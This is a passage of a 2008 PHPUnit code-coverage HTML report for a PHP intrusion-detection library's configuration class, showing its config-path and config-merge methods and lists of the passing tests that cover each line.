class="lineDeadCode"> : } </span> -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span> : -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span> : /** -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : * Sets the path to the configuration file -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : * -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * @param string $path the path to the config -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : * -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : * @throws Exception if file not found -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : * @return void -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : */ -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span> : public function setConfigPath($path) -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span> : { -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span><span class="lineCov"> 2 : if (file_exists($path)) { </span> -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span><span class="lineCov"> 1 : $this->configPath = $path; </span> -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span><span class="lineCov"> 1 : } else { </span> -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span><span class="lineCov"> 1 : throw new Exception( </span> -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : 'Configuration file could not be found at ' . -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span><span class="lineCov"> 1 : htmlspecialchars($path, ENT_QUOTES, 'UTF-8') </span> -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : } -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span> : -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span> : /** -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span> : * Returns path to configuration file -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span> : * -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span> : * @return string the config path -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span> : */ -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span> : public function getConfigPath() -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : { -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span><span class="lineCov"> 1 : return $this->configPath; </span> -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span> : /** -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span> : * This method checks if a base path is given and usage is set to true. -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : * If all that tests succeed the base path will be returned as a string - -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span> : * else null will be returned. -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span> : * -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span> : * @return string the base path or null -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : */ -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span> : public function getBasePath() { -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span> : -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span><span class="lineCov"> 42 : return ((isset($this->config['General']['base_path']) </span> -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span><span class="lineCov"> 42 : && $this->config['General']['base_path'] </span> -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span><span class="lineCov"> 42 : && isset($this->config['General']['use_base_path']) </span> -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span><span class="lineCov"> 42 : && $this->config['General']['use_base_path']) </span> -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span><span class="lineCov"> 42 : ? $this->config['General']['base_path'] : null); </span> -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span> : -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span> : /** -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : * Merges new settings into the exsiting ones or overwrites them -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span> : * -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span> : * @param array $config the config array -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span> : * @param boolean $overwrite config overwrite flag -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : * -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span> : * @return void -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span> : */ -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span> : public function setConfig(array $config, $overwrite = false) -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : { -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span><span class="lineCov"> 2 : if ($overwrite) { </span> -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span><span class="lineCov"> 2 : $this->config = $this->_mergeConfig($this->config, $config); </span> -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span><span class="lineCov"> 2 : } else { </span> -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span><span class="lineCov"> 1 : $this->config = $this->_mergeConfig($config, $this->config); </span> -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span> : } -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span> : -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span> : /** -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span> : * Merge config hashes recursivly -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span> : * -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span> : * The algorithm merges configuration arrays recursively. If an element is -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span> : * an array in both, the values will be appended. If it is a scalar in both, -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : * the value will be replaced. -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span> : * -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span> : * @param array $current The legacy hash -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span> : * @param array $successor The hash which values count more when in doubt -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span> : * @return array Merged hash -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span> : */ -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span> : protected function _mergeConfig($current, $successor) -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span> : { -<span class="lineNum" id="container200"><a name="200"></a><a href="#200" id="line200"> 200</a> </span><span class="lineCov"> 2 : if (is_array($current) and is_array($successor)) { </span> -<span class="lineNum" id="container201"><a name="201"></a><a href="#201" id="line201"> 201</a> </span><span class="lineCov"> 2 : foreach ($successor as $key => $value) { </span> -<span class="lineNum" id="container202"><a name="202"></a><a href="#202" id="line202"> 202</a> </span><span class="lineCov"> 2 : if (isset($current[$key]) </span> -<span class="lineNum" id="container203"><a name="203"></a><a href="#203" id="line203"> 203</a> </span><span class="lineCov"> 2 : and is_array($value) </span> -<span class="lineNum" id="container204"><a name="204"></a><a href="#204" id="line204"> 204</a> </span><span class="lineCov"> 2 : and is_array($current[$key])) { </span> -<span class="lineNum" id="container205"><a name="205"></a><a href="#205" id="line205"> 205</a> </span> : -<span class="lineNum" id="container206"><a name="206"></a><a href="#206" id="line206"> 206</a> </span><span class="lineCov"> 2 : $current[$key] = $this->_mergeConfig($current[$key], $value);</span> -<span class="lineNum" id="container207"><a name="207"></a><a href="#207" id="line207"> 207</a> </span><span class="lineCov"> 2 : } else { </span> -<span class="lineNum" id="container208"><a name="208"></a><a href="#208" id="line208"> 208</a> </span><span class="lineCov"> 2 : $current[$key] = $successor[$key]; </span> -<span class="lineNum" id="container209"><a name="209"></a><a href="#209" id="line209"> 209</a> </span> : } -<span class="lineNum" id="container210"><a name="210"></a><a href="#210" id="line210"> 210</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container211"><a name="211"></a><a href="#211" id="line211"> 211</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container212"><a name="212"></a><a href="#212" id="line212"> 212</a> </span><span class="lineCov"> 2 : return $current; </span> -<span class="lineNum" id="container213"><a name="213"></a><a href="#213" id="line213"> 213</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container214"><a name="214"></a><a href="#214" id="line214"> 214</a> </span> : -<span class="lineNum" id="container215"><a name="215"></a><a href="#215" id="line215"> 215</a> </span> : /** -<span class="lineNum" id="container216"><a name="216"></a><a href="#216" id="line216"> 216</a> </span> : * Returns the config array -<span class="lineNum" id="container217"><a name="217"></a><a href="#217" id="line217"> 217</a> </span> : * -<span class="lineNum" id="container218"><a name="218"></a><a href="#218" id="line218"> 218</a> </span> : * @return array the config array -<span class="lineNum" id="container219"><a name="219"></a><a href="#219" id="line219"> 219</a> </span> : */ -<span class="lineNum" id="container220"><a name="220"></a><a href="#220" id="line220"> 220</a> </span> : public function getConfig() -<span class="lineNum" id="container221"><a name="221"></a><a href="#221" id="line221"> 221</a> </span> : { -<span class="lineNum" id="container222"><a name="222"></a><a href="#222" id="line222"> 222</a> </span><span class="lineCov"> 1 : return $this->config; </span> -<span class="lineNum" id="container223"><a name="223"></a><a href="#223" id="line223"> 223</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container224"><a name="224"></a><a href="#224" id="line224"> 224</a> </span> : } -<span class="lineNum" id="container225"><a name="225"></a><a href="#225" id="line225"> 225</a> </span> : -<span class="lineNum" id="container226"><a name="226"></a><a href="#226" id="line226"> 226</a> </span> : /* -<span class="lineNum" id="container227"><a name="227"></a><a href="#227" id="line227"> 227</a> </span> : * Local variables: -<span class="lineNum" id="container228"><a name="228"></a><a href="#228" id="line228"> 228</a> </span> : * tab-width: 4 -<span class="lineNum" id="container229"><a name="229"></a><a href="#229" id="line229"> 229</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container230"><a name="230"></a><a href="#230" id="line230"> 230</a> </span> : * End: -<span class="lineNum" id="container231"><a name="231"></a><a href="#231" id="line231"> 231</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel87": { - "header": "3 tests cover line 87", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel88": { - "header": "3 tests cover line 88", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel90": { - "header": "3 tests cover line 90", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel91": { - "header": "2 tests cover line 91", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel92": { - "header": "1 test covers line 92", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel93": { - "header": "1 test covers line 93", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel94": { - "header": "2 tests cover line 94", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel105": { - "header": "1 test covers line 105", - "body": "<ul><li class=\"testPassed\">testInitClone(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel117": { - "header": "67 tests cover line 117", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testInit(IDS_InitTest)</li><li class=\"testPassed\">testInitConfig(IDS_InitTest)</li><li class=\"testPassed\">testInitClone(IDS_InitTest)</li><li class=\"testPassed\">testInitGetConfigPath(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitGetConfig(IDS_InitTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel118": { - "header": "3 tests cover line 118", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel119": { - "header": "2 tests cover line 119", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel121": { - "header": "67 tests cover line 121", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testInit(IDS_InitTest)</li><li class=\"testPassed\">testInitConfig(IDS_InitTest)</li><li class=\"testPassed\">testInitClone(IDS_InitTest)</li><li class=\"testPassed\">testInitGetConfigPath(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitGetConfig(IDS_InitTest)</li><li class=\"testPassed\">testInstanciatingInitObjectWithoutPassingConfigFile(IDS_InitTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel134": { - "header": "2 tests cover line 134", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel135": { - "header": "1 test covers line 135", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel136": { - "header": "1 test covers line 136", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel137": { - "header": "1 test covers line 137", - "body": "<ul><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel139": { - "header": "1 test covers line 139", - "body": "<ul><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel140": { - "header": "1 test covers line 140", - "body": "<ul><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel142": { - "header": "1 test covers line 142", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel151": { - "header": "1 test covers line 151", - "body": "<ul><li class=\"testPassed\">testInitGetConfigPath(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel163": { - "header": "42 tests cover line 163", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel164": { - "header": "42 tests cover line 164", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li 